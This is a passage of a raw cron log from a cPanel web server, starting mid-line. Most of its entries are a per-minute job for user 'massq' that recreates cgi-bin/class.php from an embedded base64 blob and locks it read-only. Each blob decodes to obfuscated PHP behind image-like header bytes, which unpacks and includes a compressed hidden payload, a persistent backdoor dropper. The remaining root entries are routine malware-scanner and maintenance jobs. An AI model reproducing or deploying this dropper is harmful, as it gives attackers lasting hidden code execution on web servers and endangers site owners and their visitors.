g2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:48:01 server CROND[28312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:49:01 server CROND[28393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:50:01 server CROND[28459]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 17:50:01 server CROND[28461]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 17:50:01 server CROND[28462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 17:50:01 server CROND[28460]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 17:50:01 server CROND[28463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:51:01 server CROND[28577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:52:01 server CROND[28734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:53:01 server CROND[28799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:54:01 server CROND[28854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:55:01 server CROND[28931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:55:01 server CROND[28932]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 17:55:01 server CROND[28933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 17:56:01 server CROND[29061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:57:01 server CROND[29231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:57:01 server CROND[29232]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 17:58:01 server CROND[29299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:59:01 server CROND[29358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:00:02 server CROND[29426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 18:00:02 server CROND[29428]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 12 18:00:02 server CROND[29429]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 18:00:02 server CROND[29430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:00:02 server CROND[29427]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 18:01:01 server CROND[29585]: (root) CMD (run-parts /etc/cron.hourly)
